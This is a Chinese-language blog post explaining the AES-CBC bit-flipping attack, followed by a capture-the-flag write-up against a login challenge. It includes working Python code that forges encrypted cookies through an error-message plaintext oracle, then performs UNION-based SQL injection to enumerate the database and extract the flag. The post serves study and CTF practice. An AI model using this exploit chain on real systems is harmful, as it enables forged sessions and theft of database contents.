AES CBC模式下的CBC bit flipping Attack

2019/06/21 12:20
阅读数 330
AES CBC模式下的CBC bit flipping Attack

AES CBC模式下的CBC bit flipping Attack

1 简介

如果理解了上一篇的padding oracle attack,则CBC字节翻转攻击很容易理解,上一篇的最后也通过修改IV达到了修改第一个加密分组数据的效果。 CBC字节翻转也类似,在有加密IV并可以修改IV值和能获得服务器返回的明文结果的情况下,就能通过修改IV获得想要的明文结果。

2 字节翻转攻击测试

还以上一节的测试程序为例子。用字节翻转攻击修改解密后的明文。

测试请求数据:

def my_dec_req(data):
    '''测试解密,注意这里使用test_dec函数,直接解密出明文'''
    txt = b64_url_enc(bytes_to_str(base64.b64encode(data)))
    return test_dec(txt)

test_txt = 'this is a long long test'
test1 = test_enc(test_txt)
test_data = base64.b64decode(b64_url_dec(test1))

# 解密出原始明文
print('decoded text:', my_dec_req(test_data))
decoded text: this is a long long test

修改my_dec_req直接解密出明文。

cbc字节翻转的具体实现:

def data_xor(xs, ys):
    '''xor两个序列'''
    return bytes([x ^ y for (x, y) in zip(xs, ys)])

def cbc_xor(data, fake_data, org_data):
    '''使用cbc xor构造第一个伪造数据
    data 加密后的密文,前16字节为iv
    fake_data 要伪造的明文
    org_data 原始明文,只要有前16个字节的明文即可'''
    data_is = data_xor(data[0:BS], org_data[0:BS])
    return build_fake_first(data, fake_data, data_is)

new_data=cbc_xor(test_data, "admin pass", bytes(test_txt, 'utf-8'))

from urllib.parse import quote
print("decoded text:", quote(my_dec_req(new_data)))
decoded text: admin%20pass%06%06%06%06%06%06ong%20test

可以看到前16字节明文被成功替换,不过因为伪造的字符串不够16个字节,添加了padding:

使用空格代替pkcs7 padding:

def pad_bs_space(s):
    '''不足一个分组长的字符串 填充空格'''
    return s + ' ' * (BS - len(s))

new_data=cbc_xor(test_data, pad_bs_space("admin pass"), bytes(test_txt, 'utf-8'))
print("decoded text:", my_dec_req(new_data))
decoded text: admin pass      ong test

3 测试实验吧简单的登录题

这个简单登陆题主要就是利用cbc字节反转攻击进行注入。

3.1 测试程序

打开ctf页面,发现有一个登陆框,随便输入提交,burp抓包,可以看到响应中设置了Cookie: iv和cipher。还有tips: test.php,访问test.php,获得源码。

define("SECRET_KEY", '***********');
define("METHOD", "aes-128-cbc");
error_reporting(0);
include('conn.php');
function sqliCheck($str){
  if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
    return 1;
  }
  return 0;
}
function get_random_iv(){
    $random_iv='';
    for($i=0;$i<16;$i++){
        $random_iv.=chr(rand(1,255));
    }
    return $random_iv;
}
function login($info){
  $iv = get_random_iv();
  $plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
  global $link;
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
        $cipher = base64_decode($_COOKIE['cipher']);
        $iv = base64_decode($_COOKIE["iv"]);
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
            $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
            $sql="select * from users limit ".$info['id'].",0";
            $result=mysqli_query($link,$sql);

            if(mysqli_num_rows($result)>0  or die(mysqli_error($link))){
              $rows=mysqli_fetch_array($result);
        echo '<h1><center>Hello!'.$rows['username'].'</center></h1>';
      }
      else{
        echo '<h1><center>Hello!</center></h1>';
      }
        }else{
            die("ERROR!");
        }
    }
}
if(isset($_POST['id'])){
    $id = (string)$_POST['id'];
    if(sqliCheck($id))
    die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
    $info = array('id'=>$id);
    login($info);
    echo '<h1><center>Hello!</center></h1>';
}else{
    if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
        show_homepage();
    }else{
        echo '<body class="login-body" style="margin:0 auto">
                <div id="wrapper" style="margin:0 auto;width:800px;">
                    <form name="login-form" class="login-form" action="" method="post">
                        <div class="header">
                        <h1>Login Form</h1>
                        <span>input id to login</span>
                        </div>
                        <div class="content">
                        <input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" />
                        </div>
                        <div class="footer">
                        <p><input type="submit" name="submit" value="Login" class="button" /></p>
                        </div>
                    </form>
                </div>
            </body>';
    }
}

可以看到show_homepage函数中检查cookie,并使用aes-128-cbc模式解密。

3.2 模拟请求

下面使用python模拟请求:

import re
import base64
from urllib.parse import quote,unquote
import requests as req

proxy = 'http://192.168.0.102:8080'
use_proxy = False
MY_PROXY = None
if use_proxy:
    MY_PROXY = {
        # 本地代理,用于测试,如果不需要代理可以注释掉
    'http': proxy,
        'https': proxy,
    }

main_url = "http://ctf5.shiyanbar.com/web/jiandan/index.php"
headers = {
    "Referer": "http://ctf5.shiyanbar.com/web/jiandan/index.php",
    "User-Agent": "Mozilla/5.0 (Windows NT 8.1; Win64; x64) "
}

def decode_pass(s):
    return base64.b64decode(unquote(s))

def encode_pass(s):
    return quote(base64.b64encode(s))

def syb_enc(id):
    '''获取一组加密数据,(iv, cipher)'''
    resp = req.post(main_url, data={'id':id, 'submit':'Login'}, headers=headers, proxies=MY_PROXY)
    return decode_pass(resp.cookies['iv']), decode_pass(resp.cookies['cipher'])

def syb_dec(data):
    "解密请求"
    cookies = {'iv': encode_pass(data[:16]),
               'cipher': encode_pass(data[16:])}
    return req.get(main_url, headers=headers, cookies=cookies, proxies=MY_PROXY)

iv, cipher = syb_enc('test')
print("iv len:", len(iv), "cipher len:", len(cipher))
iv len: 16 cipher len: 32

cipher长度为32个字节,表示明文至少16个有效字符。

3.3 解密出明文

由于不知道明文,需要从服务器解密,可以用padding oracle,不过查看源码可以发现,密文解密后有个反序列化过程,如果反序列化失败,会返回base64编码的明文。获取明文的实现代码:

def jiandan_extract_txt(text):
    "从html结果中提取出明文数据"
    txt = re.search('base64_decode\(\'(.*)\'\)', text)[1]
    return decode_pass(txt)

def dec_data(data):
    '''获取data对应的明文, data=iv+cipher'''
    data = b'1'*16 + data
    resp = syb_dec(data)
    return jiandan_extract_txt(resp.text)[16:]

dec1 = dec_data(iv + cipher)
print("decrypt cipher:", dec1)
decrypt cipher: b'a:1:{s:2:"id";s:4:"test";}'

3.4 构造伪造数据

由此可以根据明文实现cbc字节翻转攻击,但是cbc字节翻转也只能修改第一个分组的明文,因为只能控制原始iv。但是这里由于每次反序列化失败的时候服务器都会返回明文,就可以利用这个明文继续构造新的iv,也就能达到整个数据的修改,代码如下:

def pad_bs(bs):
    return bs + (BS - len(bs) % BS) * bytes([(BS - len(bs) % BS)])

def build_jiandan_fake_block(data, fake_block):
    '''构造一个伪造分组'''
    org_data = pad_bs(dec_data(data))
    return cbc_xor(data, fake_block, org_data)

def jiandan_enc_text(txt):
    '''实现加密明文'''
    fake_groups = partition_group(txt)
    # 第一次使用正确的iv解密明文,因为要处理padding
    enced_data = build_jiandan_fake_block(cipher[-BS*2:],fake_groups[-1])
    # 后面的分组使用随机iv获取中间状态值
    fake_iv = b'1'*16
    for group in reversed(fake_groups[:-1]):
        new_enced = fake_iv + enced_data
        enced_data = build_jiandan_fake_block(new_enced, group)
    return enced_data

test_enc1 = jiandan_enc_text('this is a test fake data')
print('deced:', dec_data(test_enc1))
deced: b'this is a test fake data'

3.5 调用php进行序列化

能正确解密出明文。下面就需要使用php序列化进行sql语句注入,python调用php进行序列化,代码如下:

import subprocess

def php_run(code):
    cc = subprocess.run(["php", "-r", code], capture_output=True)
    if cc.returncode != 0:
        print("php run:", code, "return code:", cc.returncode)
        print("error:", cc.stderr)
    return cc.stdout

def php_serialize(php_obj):
    '''对php_obj(php字符串)进行序列化'''
    code = 'echo serialize(%s);' % php_obj
    return str(php_run(code), 'utf-8')

def php_unserialize(php_obj):
    '''对php_obj(php字符串)进行序列化'''
    code = 'var_dump(unserialize(\'%s\'));' % php_obj
    r1 =  str(php_run(code), 'utf-8')
    print(r1)
    return r1

php_unserialize(str(dec1, 'utf-8'))
s1 = php_serialize("['id' => 'this is a test go']")
print('serialize:', s1)
Command line code:1:
array(1) {
  'id' =>
  string(4) "test"
}

serialize: a:1:{s:2:"id";s:17:"this is a test go";}

3.6 执行sql注入

sql注入利用的代码如下:

def jiandan_send_id(id):
    payload = php_serialize("['id' => \"%s\"]" % id)
    enced_payload = jiandan_enc_text(payload)
    return syb_dec(enced_payload).text

def send_sql_query(query):
    '''发送sql查询语句'''
    return jiandan_send_id('0 UNION %s #' % query)

print(send_sql_query('SELECT NULL'))
The used SELECT statements have a different number of columns

成功进行注入,下面一步步注入,获取到flag,第一步获取sql查询语句的列数:

# 获取sql查询的列数,保存到query_cols变量
for i in range(1,10):
    cols = ', '.join(['NULL'] * i)
    result = send_sql_query('SELECT ' + cols)
    print(result)
    if not re.search(r'different', result):
        query_cols = i
        break
print('query cols: %d' % query_cols)
The used SELECT statements have a different number of columns
The used SELECT statements have a different number of columns
<h1><center>Hello!</center></h1>
query cols: 3

3.7 通过注入查询获取flag

知道了这个查询有3列,下一步是获取数据库名和表名:

result_sep = '@RREE'
col_sep = '@,'

def build_query_result(sql):
    '''构造返回的结果字符串的格式,方便提取结果'''
    return "concat('%s',%s,'%s')" % (result_sep, sql, result_sep)

def build_query_columns(cols):
    '''构造多列的查询结果格式'''
    cols_seps = ",'%s'," % col_sep
    return build_query_result(cols_seps.join(cols))

def parse_query_result(data):
    '''解析查询结果'''
    row = data.split(result_sep)
    if len(row) < 3:
        return None
    return row[1].split(col_sep)


# 测试构造查询
print(build_query_columns(['a', 'b', 'c']))

def jiandan_query_one(col, db, row=0):
    '''查询一行结果,返回1行数据
    col为要查询的的列,
    db为数据库,
    row为要查询的行'''
    return send_sql_query('SELECT NULL,%s,NULL from %s limit %d,1' % (col, db, row))

def jiandan_query(cols,db, max_row = 100):
    '''查询数据库db的cols列,max_row为最大查询行数'''
    result = []
    col = build_query_columns(cols)
    for i in range(max_row):
        r1 = jiandan_query_one(col, db, i)
        print('%d --> %s' % (i, r1))
        r1 = parse_query_result(r1)
        if r1:
            result.append(r1)
        else:
            break
    return result

def query_db_info():
    '''查询数据库信息'''
    return jiandan_query(["table_schema", "column_name", "table_name"],
                         "information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'")

print(query_db_info())

print('flag:')
print(jiandan_query(['value'], 'you_want'))
concat('@RREE',a,'@,',b,'@,',c,'@RREE')
0 --> Got error 28 from storage engine
[]
flag:
0 --> <h1><center>Hello!@RREEflag{c42b2b758a5a36228156d9d671c37f19}@RREE</center></h1>
1 --> 
[['flag{c42b2b758a5a36228156d9d671c37f19}']]

这次查询会出现Got error 28 from storage engine, mysql的临时文件夹满了,应该是题目服务器的问题。 最终的flag在you_want表的value列中。

4 总结

搞清楚异或运算的计算步骤后,字节翻转还是很容易理解的。

作者: ntestoc

Created: 2019-07-23 周二 09:56

展开阅读全文
打赏
0
0 收藏
分享
加载中
更多评论
打赏
0 评论
0 收藏
0
分享
返回顶部
顶部